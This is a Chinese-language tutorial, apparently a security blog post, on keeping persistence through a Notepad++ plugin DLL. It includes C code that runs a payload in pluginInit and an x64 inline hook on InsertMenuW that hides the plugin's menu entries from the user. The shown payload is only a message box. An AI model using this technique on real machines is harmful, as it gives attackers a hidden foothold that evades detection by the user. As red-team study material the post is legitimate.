0.简介
看到个玄武实验室推送文章,讲的是利用Notepad++的插件做权限维持的——《Persistence – Notepad++ Plugins》。原理上比较简单,Notepad++在启动的时候会加载plugins目录(例如:C:\Program Files\Notepad++\plugins)中保存的插件,其实就是一个一个目录里面放着dll文件。原文给了一个C#版本的DEMO,不太会。简单看了一下c的实现方式,记录于此。
1.详情
找了一下,github有现成的模板。将模板clone下来。
git clone https://github.com/npp-plugins/plugintemplate.git
项目提供了visual studio的项目文件vs.proj/NppPluginTemplate.vcxproj
,直接双击打开,重定向项目的窗口记得选择确定。
然后就可以开始愉快的写代码了。模板中提示较为完善,根据提示首先打开PluginDefinition.h
,可以自定义插件的名称和功能数量。
这里名字随便起,不重要。由于我们没什么真正需要实现的功能,这里可以不改,模板默认带两个测试功能(不能为0),随便填一个功能。然后打开PluginDefinition.cpp
,commandMenuInit
函数中是用来设置功能和菜单栏中对应按钮的,模板中默认就带了两个测试功能也可以不改。真正需要实现的持久化功能可以填写在pluginInit
方法中,notepad++打开会自动加载这些dll,然后调用pluginInit
等函数。例如这里添加一个MessageBox。
void pluginInit(HANDLE /*hModule*/) { MessageBox(NULL, TEXT("test"), TEXT("test"), NULL); }
编译后生成NppPluginTemplate.dll
文件。在notepad++的plugins目录下新建一个目录用来放这个dll,假如给这个目录起名为SecTest
,则将NppPluginTemplate.dll
文件拖到SecTest
目录下并重命名为SecTest.dll
即可(名字要一致,否则不加载),重启notepad++即可生效。
但是这种方式有个比较难受的点在于,加载的插件会在插件菜单里添加列表,稍微有点明显容易被发现。
2.插件Menu隐藏
找了一下没有发现怎么样可以让他不注册这个菜单栏就有点难受(可能我看的不仔细)。测试了如果把nbFunc改成0,或者把字符串改成空的都没办法比较好的在这里隐藏,并且还有可能产生报错弹窗,还可能导致插件被移除。
拖ida简单看了一下这里是调用了insertMenuW
方法来插入这个菜单,那就非常简单了,只需要把insertMenuW
函数做个inlinehook,对于这几个menu不让他注册即可。在PluginDefinition.cpp
中添加hook相关代码:
//Hook代码 void Hook(); void UnHook(); BYTE Ori_Code[12] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; BYTE HookCode[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 }; static BOOL (WINAPI* OldInsertMenuW)(HMENU hMenu,UINT uPosition,UINT uFlags,UINT_PTR uIDNewItem,LPCWSTR lpNewItem) = InsertMenuW; BOOL WINAPI MyInsertMenuW(HMENU hMenu, UINT uPosition, UINT uFlags, UINT_PTR uIDNewItem, LPCWSTR lpNewItem) { UnHook(); // 恢复Hook BOOL ret; if ( lstrcmp(lpNewItem, TEXT("Hello Notepad++"))!= 0 && lstrcmp(lpNewItem, TEXT("Hello (with dialog)")) != 0 && lstrcmp(lpNewItem, TEXT("Notepad++ plugin template")) != 0) { ret = OldInsertMenuW(hMenu, uPosition, uFlags, uIDNewItem, lpNewItem);// 调用原函数,防止报错影响正常功能 } else { ret = true; } Hook(); // 继续hook return ret; } void Hook() { DWORD OldProtect; if (VirtualProtect(OldInsertMenuW, 12, PAGE_EXECUTE_READWRITE, &OldProtect)) { memcpy(Ori_Code, OldInsertMenuW, 12); // 拷贝原始机器码指令 *(PINT64)(HookCode + 2) = (INT64)&MyInsertMenuW; // 填充90为指定跳转地址 } memcpy(OldInsertMenuW, &HookCode, sizeof(HookCode)); // 拷贝Hook机器指令 } void UnHook() { memcpy(OldInsertMenuW, &Ori_Code, sizeof(Ori_Code)); // 恢复hook原始代码 }
然后在pluginInit
函数中,先干坏事然后调用一下hook方法不让它注册menu即可,例如:
void pluginInit(HANDLE /*hModule*/) { MessageBox(NULL, TEXT("Big Bad DaShanzha!"), TEXT("Big Bad DaShanzha!"), NULL); Hook(); }
此时再看菜单里就没有相关的内容了,但是比较难受的是插件管理里面还是会有显示,不过相对来说没之前那么容易被发现。
参考
- 原文(https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/)
- hook代码从这里抄的(https://www.cnblogs.com/LyShark/p/13653394.html)